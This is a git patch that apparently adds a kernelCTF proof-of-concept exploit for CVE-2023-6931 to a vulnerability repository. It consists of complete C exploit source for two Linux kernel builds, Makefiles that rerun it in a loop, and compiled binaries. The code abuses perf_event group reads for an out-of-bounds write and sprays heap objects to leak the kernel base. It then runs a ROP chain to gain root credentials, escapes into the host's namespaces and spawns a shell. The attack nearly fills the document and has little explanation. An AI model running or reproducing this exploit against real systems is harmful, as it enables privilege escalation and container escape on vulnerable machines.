From e942b80092d9b6cf0d03b07b3b2f413fb69eacc6 Mon Sep 17 00:00:00 2001 From: 0x48 Date: Wed, 16 Oct 2024 17:57:03 +0200 Subject: [PATCH 01/10] Add CVE-2023-6931_lts_cos --- .../exploit/cos-105-17412.226.28/Makefile | 6 + .../exploit/cos-105-17412.226.28/exploit | Bin 0 -> 14232 bytes .../exploit/cos-105-17412.226.28/exploit.c | 311 +++++++++++++++++ .../exploit/lts-6.1.61/Makefile | 6 + .../exploit/lts-6.1.61/exploit | Bin 0 -> 14288 bytes .../exploit/lts-6.1.61/exploit.c | 313 ++++++++++++++++++ .../CVE-2023-6931_lts_cos/original.tar.gz | Bin 0 -> 10459 bytes 7 files changed, 636 insertions(+) create mode 100644 pocs/linux/kernelctf/CVE-2023-6931_lts_cos/exploit/cos-105-17412.226.28/Makefile create mode 100644 pocs/linux/kernelctf/CVE-2023-6931_lts_cos/exploit/cos-105-17412.226.28/exploit create mode 100644 pocs/linux/kernelctf/CVE-2023-6931_lts_cos/exploit/cos-105-17412.226.28/exploit.c create mode 100644 pocs/linux/kernelctf/CVE-2023-6931_lts_cos/exploit/lts-6.1.61/Makefile create mode 100644 pocs/linux/kernelctf/CVE-2023-6931_lts_cos/exploit/lts-6.1.61/exploit create mode 100644 pocs/linux/kernelctf/CVE-2023-6931_lts_cos/exploit/lts-6.1.61/exploit.c create mode 100644 pocs/linux/kernelctf/CVE-2023-6931_lts_cos/original.tar.gz diff --git a/pocs/linux/kernelctf/CVE-2023-6931_lts_cos/exploit/cos-105-17412.226.28/Makefile b/pocs/linux/kernelctf/CVE-2023-6931_lts_cos/exploit/cos-105-17412.226.28/Makefile new file mode 100644 index 00000000..a5c64b88 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-6931_lts_cos/exploit/cos-105-17412.226.28/Makefile @@ -0,0 +1,6 @@ +CFLAGS = -Wno-incompatible-pointer-types -Wno-format -Wno-int-conversion + +exploit: exploit.c + +run: + while :; do ./exploit; done diff --git a/pocs/linux/kernelctf/CVE-2023-6931_lts_cos/exploit/cos-105-17412.226.28/exploit b/pocs/linux/kernelctf/CVE-2023-6931_lts_cos/exploit/cos-105-17412.226.28/exploit new file mode 100644 index 0000000000000000000000000000000000000000..4a272e5ce880b22a8f64e6649c23b5667a1a172c GIT binary patch literal 14232 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 JIR-hb_+LkjE{*^I literal 0 HcmV?d00001 diff --git a/pocs/linux/kernelctf/CVE-2023-6931_lts_cos/exploit/cos-105-17412.226.28/exploit.c b/pocs/linux/kernelctf/CVE-2023-6931_lts_cos/exploit/cos-105-17412.226.28/exploit.c new file mode 100644 index 00000000..370bc16c --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-6931_lts_cos/exploit/cos-105-17412.226.28/exploit.c @@ -0,0 +1,311 @@ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define READ_BUF_SIZE 2048 + +#define SK_RCU_OFF 784 +#define SK_DESTRUCT_OFF 760 +#define JOP_OFF (READ_BUF_SIZE - SK_RCU_OFF + SK_DESTRUCT_OFF - XATTR_HDR_LEN) + +#define XATTR_HDR_LEN 32 +#define XATTR_DATA_LEN1 (READ_BUF_SIZE/2) +#define XATTR_DATA_LEN2 (JOP_OFF + 8) + +/* How far after out to inc */ +#define OOB_LOC1 728 +#define OOB_LOC2 1056 +/* Target event fds */ +#define TFD1 ((READ_BUF_SIZE - 8 + OOB_LOC1)/8) +#define TFD2 ((READ_BUF_SIZE - 8 + OOB_LOC2)/8) +/* Number of increments */ +#define NUM_INCS1 0x15e0 +#define NUM_INCS2 0xf + +#define NUM_SIBLINGS (65536/8 - 1 + READ_BUF_SIZE/8) + +#define OBJS_PER_SLAB 16 + +#define SOCK_SLABS (2*OBJS_PER_SLAB) +#define SOCK_SPRAY (SOCK_SLABS*OBJS_PER_SLAB) + +#define XATTR_SPRAY1 1000 +#define XATTR_SPRAY2 (SOCK_SLABS*OBJS_PER_SLAB) +#define XATTR_SPRAY3 (SOCK_SLABS+OBJS_PER_SLAB) + +#define PREPARE_KERNEL_CRED 0x10d180 +#define COMMIT_CREDS 0x10ced0 +#define FIND_TASK_BY_VPID 0x103d40 +#define SWITCH_TASK_NAMESPACES 0x10b4f0 + +#define DO_SYS_VFORK 0x0de2b0 +#define MSLEEP 0x168780 + +#define INIT_NSPROXY 0x2261f00 + +#define MOV_RSP_RBP_POP_RBP_RET 0x08034c +#define POP_RDI_RET_THUNK 0x0380b3 +#define POP_RSI_RET_THUNK 0x008003 +#define MOV_RDI_RAX_POP_RBX_RET_THUNK 0x02c691 + +#define err_exit(s) do { perror(s); exit(EXIT_FAILURE); } while(0) + +struct perf_event_attr attr; + +int sib_fds[NUM_SIBLINGS]; + +long read_buf[8192]; + +int ffd; + +char xattr_data[XATTR_DATA_LEN2]; + + +/* + * Syscall wrappers. + */ + +int perf_event_open(struct perf_event_attr *attr, pid_t pid, unsigned int cpu, int group_fd, unsigned long flags) +{ + return syscall(SYS_perf_event_open, attr, pid, cpu, group_fd, flags); +} + + +int num_xattr = 0; +int spray_simple_xattrs(int num_spray, void *xattr_val, int xattr_len) { + char name[32]; + int ret = num_xattr; + for (int i = 0; i < num_spray; i++, num_xattr++) { + sprintf(name, "security.%d", num_xattr); + if (fsetxattr(ffd, name, xattr_val, xattr_len, 0) == -1) + err_exit("[-] fsetxattr"); + } + return ret; +} + + +unsigned int cpu; +void pin_cpu () { + cpu_set_t set; + CPU_ZERO(&set); + CPU_SET(0, &set); + if (sched_setaffinity(0, sizeof(set), &set)) + err_exit("[-] sched_setaffinity"); +} + + +void set_attr (void) { + attr.type = PERF_TYPE_SOFTWARE; + attr.size = sizeof(attr); + attr.config = PERF_COUNT_SW_PAGE_FAULTS; + attr.disabled = 1; + attr.exclude_kernel = 1; + attr.exclude_hv = 1; +} + +void prepare_rop (long *rop, long kbase) { + rop[JOP_OFF/8] = kbase + MOV_RSP_RBP_POP_RBP_RET; + + rop += (JOP_OFF - SK_DESTRUCT_OFF)/8; + /* commit_creds(prepare_kernel_cred(0)) */ + rop++; + *rop++ = kbase + POP_RDI_RET_THUNK; + *rop++ = 0; + *rop++ = kbase + PREPARE_KERNEL_CRED; + *rop++ = kbase + MOV_RDI_RAX_POP_RBX_RET_THUNK; + rop++; + *rop++ = kbase + COMMIT_CREDS; + /* switch_task_namespaces(find_task_by_vpid(1, init_ns_proxy) */ + *rop++ = kbase + POP_RDI_RET_THUNK; + *rop++ = 1; + *rop++ = kbase + FIND_TASK_BY_VPID; + *rop++ = kbase + POP_RSI_RET_THUNK; + *rop++ = kbase + INIT_NSPROXY; + *rop++ = kbase + MOV_RDI_RAX_POP_RBX_RET_THUNK; + rop++; + *rop++ = kbase + SWITCH_TASK_NAMESPACES; + /* telefork */ + *rop++ = kbase + DO_SYS_VFORK; + *rop++ = kbase + MSLEEP; +} + + + +int sock_fds[SOCK_SPRAY]; +void spray_socks (void) { + for (int i = 0; i < SOCK_SPRAY; i++) { + sock_fds[i] = socket(PF_NETLINK, SOCK_RAW, NETLINK_ROUTE); + if (sock_fds[i] == -1) + err_exit("[-] socket"); + } +} + +void inc_counters (int fd, int inc) { + if (ioctl(fd, PERF_EVENT_IOC_ENABLE, 0) == -1) + err_exit("[-] ioctl"); + for (int i = 0; i < inc; i++) { + char *m = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE, -1, 0); + if (m == MAP_FAILED) + err_exit("[-] mmap"); + m[0] = 0; + if (munmap(m, 4096) == -1) + err_exit("[-] munmap"); + } + if (ioctl(fd, PERF_EVENT_IOC_DISABLE, 0) == -1) + err_exit("[-] ioctl"); +} + + +int main (int argc, char **argv) { + char name[32]; + int num_events = 0; + long kernel_base; + int target_sock; + int optval = 1; + + pin_cpu(); + set_attr(); + + pid_t ppid = getpid(); + + printf("[*] Opening events\n"); + + attr.read_format = PERF_FORMAT_GROUP; + attr.disabled = 0; + sib_fds[0] = perf_event_open(&attr, ppid, -1, -1, 0); + if (sib_fds[0] == -1) + err_exit("[-] perf_event_open"); + attr.read_format = 0; + attr.disabled = 1; + + for (int i = 1; i <= TFD2; i++) { + sib_fds[i] = perf_event_open(&attr, ppid, -1, sib_fds[0], 0); + if (sib_fds[i] == -1) { + err_exit("[-] perf_event_open"); + } + } + + inc_counters(sib_fds[TFD1], NUM_INCS1); + inc_counters(sib_fds[TFD2], NUM_INCS2); + + for (int i = 0; i < 3; i++) { + pid_t cpid = fork(); + if (cpid == -1) + err_exit("[-] fork"); + if (cpid) + continue; + for (int j = 1; j <= 2048; j++) { + sib_fds[j] = perf_event_open(&attr, ppid, -1, sib_fds[0], 0); + if (sib_fds[j] == -1) { + err_exit("[-] perf_event_open"); + } + } + sleep(-1); + } + + while (num_events <= 2048*3 + TFD2) { + if (read(sib_fds[0], read_buf, 65536) == -1) + err_exit("[-] read"); + num_events = read_buf[0]; + } + + for (int i = TFD2 + 1; num_events < NUM_SIBLINGS; i++, num_events++) { + sib_fds[i] = perf_event_open(&attr, ppid, -1, sib_fds[0], 0); + if (sib_fds[i] == -1) { + err_exit("[-] perf_event_open"); + } + } + + printf("[*] Event group ready\n"); + + ffd = open("/tmp/", O_TMPFILE | O_RDWR, 0666); + if (ffd == -1) + err_exit("[-] open"); + + spray_simple_xattrs(XATTR_SPRAY1, xattr_data, XATTR_DATA_LEN1); + int fill = spray_simple_xattrs(XATTR_SPRAY2, xattr_data, XATTR_DATA_LEN1); + + + for (int i = fill; i < fill + XATTR_SPRAY2; i++) { + if ((i - fill) % OBJS_PER_SLAB == 0) + continue; + sprintf(name, "security.%d", i); + if (fremovexattr(ffd, name) == -1) + err_exit("[-] fremovexattr"); + } + spray_socks(); + + for (int i = fill; i < fill + XATTR_SPRAY2; i+=OBJS_PER_SLAB) { + sprintf(name, "security.%d", i); + if (fremovexattr(ffd, name) == -1) + err_exit("[-] fremovexattr"); + } + + spray_simple_xattrs(OBJS_PER_SLAB, xattr_data, XATTR_DATA_LEN1); + + if (read(sib_fds[0], read_buf, READ_BUF_SIZE) == -1) + err_exit("[-] read"); + + target_sock = -1; + optval = 1; + for (int i = 0; i < SOCK_SPRAY; i++) { + int ret = setsockopt(sock_fds[i], SOL_NETLINK, NETLINK_ADD_MEMBERSHIP, &optval, sizeof(optval)); + if (ret) { + kernel_base = 0xffffffff00000000 | (ret & 0xff000000); + target_sock = sock_fds[i]; + break; + } + } + + if (target_sock == -1) { + printf("[*] OOB failed\n"); + exit(1); + } + + prepare_rop(xattr_data, kernel_base); + spray_simple_xattrs(XATTR_SPRAY3, xattr_data, XATTR_DATA_LEN2); + + if (setsockopt(target_sock, SOL_SOCKET, SO_SNDBUF, &optval, sizeof(optval)) == -1) + err_exit("[-] setsockopt"); + + printf("[+] Returned from ROP\n"); + + int mntns_fd = open("/proc/1/ns/mnt", O_RDONLY); + int netns_fd = open("/proc/1/ns/net", O_RDONLY); + int pidns_fd = open("/proc/1/ns/pid", O_RDONLY); + + if (mntns_fd == -1) + perror("[-] open(/proc/1/ns/mnt)"); + if (setns(mntns_fd, CLONE_NEWNS) == -1) + perror("[-] setns mnt"); + + if (netns_fd == -1) + perror("[-] open(/proc/1/ns/net)"); + if (setns(netns_fd, CLONE_NEWNET) == -1) + perror("[-] setns net"); + + if (pidns_fd == -1) + perror("[-] open(/proc/1/ns/pid)"); + if (setns(pidns_fd, CLONE_NEWPID) == -1) + perror("[-] setns pid"); + + printf("[*] Launching shell\n"); + system("/bin/sh"); + return 0; +} diff --git a/pocs/linux/kernelctf/CVE-2023-6931_lts_cos/exploit/lts-6.1.61/Makefile b/pocs/linux/kernelctf/CVE-2023-6931_lts_cos/exploit/lts-6.1.61/Makefile new file mode 100644 index 00000000..a5c64b88 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-6931_lts_cos/exploit/lts-6.1.61/Makefile @@ -0,0 +1,6 @@ +CFLAGS = -Wno-incompatible-pointer-types -Wno-format -Wno-int-conversion + +exploit: exploit.c + +run: + while :; do ./exploit; done diff --git a/pocs/linux/kernelctf/CVE-2023-6931_lts_cos/exploit/lts-6.1.61/exploit b/pocs/linux/kernelctf/CVE-2023-6931_lts_cos/exploit/lts-6.1.61/exploit new file mode 100644 index 0000000000000000000000000000000000000000..f8adbffb66a3ceb6e6ec7644552316fe4a31fed8 GIT binary patch literal 14288 zcmc&*3vg6bnm(P-2#QGnQG6g56&Ilh0W=~GYdUb@qCpVBH(Z*e1Fh*t^#g($1sg2y zG|@Ptf}`u8v%1WTGcr@iBBKz+CFojiSkYybscIc$JCe~jJ|^xUz2ATC`MYm-x@)Gk zYHJVG_doylKhEnv=bn3VxLD$;Hb`L;YTq*@{Z?U{d&yrL&k#MAFpk>@%Wp+G$`h0MG5@M68L>3@Y_n@*O$OsOW;2!fzxOdtN-p2 z_zNZQuJMRO=}mssVCh5bz; z5b%aYv~jhs$&C79-sWb1&>veT0=@uP5%GDO1TsMwMSOwK8egk77K;!>g@nQ};SV*& zT10eRH0BG4Ks-qPLSbJ}L|c5murSTWR<8-K-WLDeKGJLSwzP<5c(7fWCRN;w#=Mc3 z8Swgp!koWkf!XAX_*VJhG_qvD?3Pf_x5T@$#Rqq*0->PNHidcZ8gsGIo897#MtxD+ zyr}WKhWYig&1u!st1lOvpPI`~&w|scuaF~Bh83d>|Lo@=nRm-4tu7>C%3PUnVYNXB z2wv}E=lX}z8{}euggy4?6IeC}i7AR7>Gz*WE7MHH$Im1EGBJmoAo2Tx*ZGcNHl9-N z1;!UC{Gg^u1;&~09&6($T-Hx2;c>))S1<^ga^Tz+5~m$Ft*M;)95~GxPW=x2Tn0f$ zt9qV>JoO?c&4JT;&1r%I=XVgvY8<%pJw3yLQ=2)}IdCeQli|R*??|@Dfn#8@=@tim zdKML8g#%Yx8Yx}vz|~MmJnX;`2-(!?z$>$;5bGWIa0mX719z?u9S(e?Lw~CSALYQe zIq)^bRqS?)OJ&!r0UqE6a2ni8qJr&st`#_ynTN z_+xlhj;%wE_|+uuNoA16e@MKG_-@JnJMk1kJ)M$&n|KPHo*j~ZgLn#=o^6ufLp+5_ zPlx1xOFV^0&w9!Kf_Mszp0MPfBc4K{XNBZ{LOg{+&mzhHh`6)fHsWdMd%7jRn0OlU zo=(YMOFRvA&ko7g6Mq)*+aw=3OB2l<;ANWn$NAQw<%ac%kvP`3Xh}o6`xmI2(SGK1 zNoHMyp2>{55H?>|j-5l2SwrE_Xm=A?YFyTDSf3h+{)#oDFsz@Cw1;)*vP`O3>Mz?* zqu5+sId-Eg5B6`tnbCg58z8VhMfR_sDmSb?diT+IdZ1nZ_2*mVu zSnQ)2lirJ5LO@mF1;VTFgCRHXE5K^&ZAai3FooC-T?dUMD!!mU z@$of#sb~^QtoHhk@Sy zN}bnlEmhc#{i911mb&gDlJM9hdaHQOH1453-AhaVK8n<|_)8{Zy^i2Ewjv}qkreCJ z-Bp-r!^#TbM!?BIWjt}xSn<=L|K=dugd9zr4Q(eg=(+nIQxQi?fz{S)#nVZ>*DhaN zA_ULXcfZR`#b?Rmn5@U?$Z^fvJg-pYJi9U3GOt{O>>g^xUfMC*;jhDyVd;HFqOH%K z*>{jT@^8XW8eGSZtJHJC;wPi0MhLn2xXX!fToH?KwE*;cq5tr+6) z@e#s5eRI}F06Fdod(E(3yH_q5FVoal4eZi4Q@HKHzE|w^Act8z@~Lqm{Y-x*W3Ort zVyx0LFqP9Yfm!-HP-&;K{_nvlKMOL!uJY_%j}_t zbpW=HL6%;KKDOLHKN}n~DZ#(gxO=r+nyGo-_r3A{|(3akS z!tdLdbl0A*iM=)G1B~hhdIz`<6GA%$AR!=K`Z211&zpFpzk)AIKbUAcXvfPcD&U!H z0Xva{OjK@q6xv;Siko;3Uh74hSpO`V_&p5{nwZLK;yl>MCg#I69m1sLwR{8KWpeL?Lx;JM<1tthZ7 z{m8c%I3CnT$o*?T>>hlNWJ&jnq^Y08yxoA$kNb9a=|>+xQ%|f-j(QXhi?;NZZD{F8 z)zYJREnNm1+0uM?F1gCJ^uG}2>1o-j7|12`qb{|8oYGK{^@!2qq;~!{2-{t#(%v%R zp@~7LJttBSS?-yrP11cip4`&6$?iP}?UweC2bx;wnAf(96Z_IwJkndxkBt5kq4Ww& zZvblPZzlCOE&a%eJCgd5N&1_KR3%=m*Cv-9!G5CyUVaA$+5N`daG!MV{3&)C?Mpih z>jQNB3tyu}*kYW6`s!30JzJaGk;CX6!LsrueJqQs^&|IhkyBBYdicck$)$%?L5rOQ z4VML7msij%RS>=Rk5aRa0VTRT{ z`GgFf#jwu?4^edn%-v6gm~d@(ew+$vpVdm}tx($wGkBlX2EY#9i)FK4 zWkED6I9&>Mv%sGfdAmzLt~oUVurR+>}vgE>l$^`OPGMhk&--w#AKv z?2#7Ie;q6)IV>7T{u61j)3z`Oc}QC9q#9|k`0h))*;IyyAVmH;%6B3! z8~fINd^BvNE)brZJvVu*jAy9_-%{g`52A0J_Q^zVoNs+Q-+I5{GWvcPV!Zx+dHRb! zINS8cm^Sqzwr{XLYp}kZ0}q+Ajv9&mF5{}-$3LTQc?USf|Xh>Q6NRM*zbWmpOgT31)F4Gp` zaL*rHrTNzQf;dbhDGnE#P05?`=#MaY$VeG^hDe4w8EC5_p?Fw=>%^2;AUs8S$eB5h z8OeO%!g{UQ>u>SdO>vw&-acuWw%8YoM}od4tvM13Xp0vv5>vvFP~()TQ-aYcfndzZ z263S2kkaWV6+lH#aNw}IObX<=r$$bSsll65jhq)#Ln%%*St$CV!5a@YuBL8`uJ++P zbjnJ9a7uJF;>UG<`PDH{c^33VCew-h3WP}-Gz{7Sx(#uM_nmn+u=2ncpw(^X%L)MFH&bxZz^h+*c`#H#j;TOwt zHc?r3;I|cRCAsiaR6STW`^>@jqe5UwelLEnLjDYBR$lg`R3Q1&_{~J${BxfCw^{kC zzz;!wQ=a^Wto$hO)6l0+qp!05%eS~lf&8DuFF}0_nw6K`leMQmCj9~OGxF>QXYGFg z{9U|ZT(sD7`^rxaCI{5!J0RbU{jiVx*H=_MQdVCv`r&fDLTevXUol~`+o-5{aIjG^ zBXQb-in>U}3{ORkr(!~Vg$6z7*H;XYL#N_S&Eb+NCpF?v&)CH87X3sv= zp{a~>$d_PuMoE$Exi_C3a*Uj3tBKSYP3CAkD6#yTQ<)I)TUDdo#30?GGS~&nv|Gvf z>~@i=AkG$K8m;IkMVVlqU?)wJl>3(d-puoYhL+MfHW5Qq1sShV8LsycrN?K?Tt0?R zwg+OViYY7klxhez0+Q$c#k7$8b|uFriR82OR^|ME5&k=NVfnRcAm%E1lcLRvu2J+s zMW0ag1x0r$dO*<+6g{r!w~7u{1AMlkmnvGT=v+l_QnXpoHHvb*532E>H+%L>ZNePi zO20R#)#7hUHIt{#nAGH3c~yMsWj3HqtC@Ob%@tE?*|rod$1It_0p(Dlzd!Nc^Bpk$ zYE&*_MfC?|<3C^DEjaG;@xj^ok&mAyIF9o1A%f#CA0H|>uJiHJv+!XA-wQCLGL}6$kmhTLFq>PTt)ixZs6pH z-#esB=|TKlMaJcM;KkZis=Y5sKO@9?bq@!uOt0ZttRF~N%>P@`YUF@;_)z*8IPQN? z`uula$>Q;?%nXdrp=f}sNIZ-MK7#sL#W^n%^mpgs=w~rblOFlSIRm&tY+OBm2SW{S z<-)jH0{szrnl|$y^ripHGzkn+I?W~Y?*UHwn$ka+uniI=^q(q$zXZGr_3YN{a#gW{ zPF9N5^D>DKTp!*AF6;9v_5%RvKT7!NDS>}q06syn0CGc9+pT{)2KHQ&m3fF!$ zPS%gU?kUlSX)*tImcZ{Vfj=ej3h}RWh=L^dvY^`){+!yl$vrmk9SXlyT_TWsYv8W{ zr*SEap94}K3I*vS;93Dj>}SgVAXTp1`vX4(e0bTpg5Sq%dImN;!%;G?^W1McNuT2X zWxLPw=@#g00M%+5OcJ^YkVg8LvOjG1;CYiB-*+_SjaOucw3Yn`~LMy#3W>YK_iJIPc zt7r@b!Y#g-uc^BBsw<}zSE9R7e$yL?c-NUYABn8PO)GD}XEwzHfpsu(a3eftE=OyS9HrN 